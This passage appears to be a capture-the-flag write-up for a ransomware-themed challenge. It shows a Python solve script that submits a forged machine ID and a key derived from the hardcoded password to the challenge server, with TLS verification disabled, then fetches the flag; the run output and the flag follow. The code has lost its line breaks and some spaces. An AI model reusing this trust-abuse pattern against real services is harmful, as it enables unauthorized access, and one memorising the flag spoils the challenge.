# Server endpoints DASHBOARD_URL = 'https://rans.kazma.tw/prjrans/includes/api/receive_key.php' GET_FLAG_URL = 'https://rans.kazma.tw/prjrans/includes/api/get_flag.php'
# Key generation function (matches the logic in EncryptionTool) defgenerate_key(password, salt=None): if salt isNone: salt = get_random_bytes(16) # Generate a random salt return PBKDF2(password.encode(), salt, dkLen=32, count=1000000), salt
# Exploit logic defexploit(): # Step 1: Generate a fake machine ID fake_machine_id = str(uuid.uuid4()) # Generate a valid UUID print(f"[+] Fake Machine ID: {fake_machine_id}")
# Step 2: Generate a fake encryption key password = "PleaseGiveMeMoney"# Password used in the code key, salt = generate_key(password) encoded_key = base64.b64encode(key).decode('utf-8') # Encode the key in base64 print(f"[+] Generated Encryption Key: {encoded_key}")
# Step 3: Send the machine_id and key to the server payload = { 'machine_id': fake_machine_id, 'encryption_key': encoded_key } headers = {'Content-Type': 'application/json'} response = requests.post(DASHBOARD_URL, json=payload, headers=headers, verify=False)
if response.status_code == 200: print(f"[+] Successfully submitted machine ID and key to the server!") else: print(f"[-] Failed to submit key. Server response: {response.text}") return
# Step 4: Use the fake machine ID and key to request the flag payload = { 'machine_id': fake_machine_id, 'decryption_key': encoded_key } response = requests.post(GET_FLAG_URL, json=payload, headers=headers, verify=False)
if response.status_code == 200: data = response.json() if data.get("success"): flag = data.get("flag", "No flag returned.") print(f"[+] Successfully retrieved the flag: {flag}") else: print(f"[-] Failed to retrieve the flag: {data.get('message')}") else: print(f"[-] Failed to fetch flag. Server response: {response.text}")
# Run the exploit if __name__ == "__main__": exploit()
執行結果:
1 2 3 4 5 6 7 8 9
╰─ python solve.py ─╯ [+] Fake Machine ID: 43e88d41-67fe-4af4-95af-11a0ff5731e2 [+] Generated Encryption Key: xs0zV0FG4V3f8NBwdO/k2GjiMEg6ptqJ46aSf2rbaEM= /Users/kingkazma/anaconda3/lib/python3.10/site-packages/urllib3/connectionpool.py:1064: InsecureRequestWarning: Unverified HTTPS request is being made to host 'rans.kazma.tw'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings warnings.warn( [+] Successfully submitted machine ID and key to the server! /Users/kingkazma/anaconda3/lib/python3.10/site-packages/urllib3/connectionpool.py:1064: InsecureRequestWarning: Unverified HTTPS request is being made to host 'rans.kazma.tw'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings warnings.warn( [+] Successfully retrieved the flag: CGGC{Nn3lr*WppJ%RkdTsGRAR}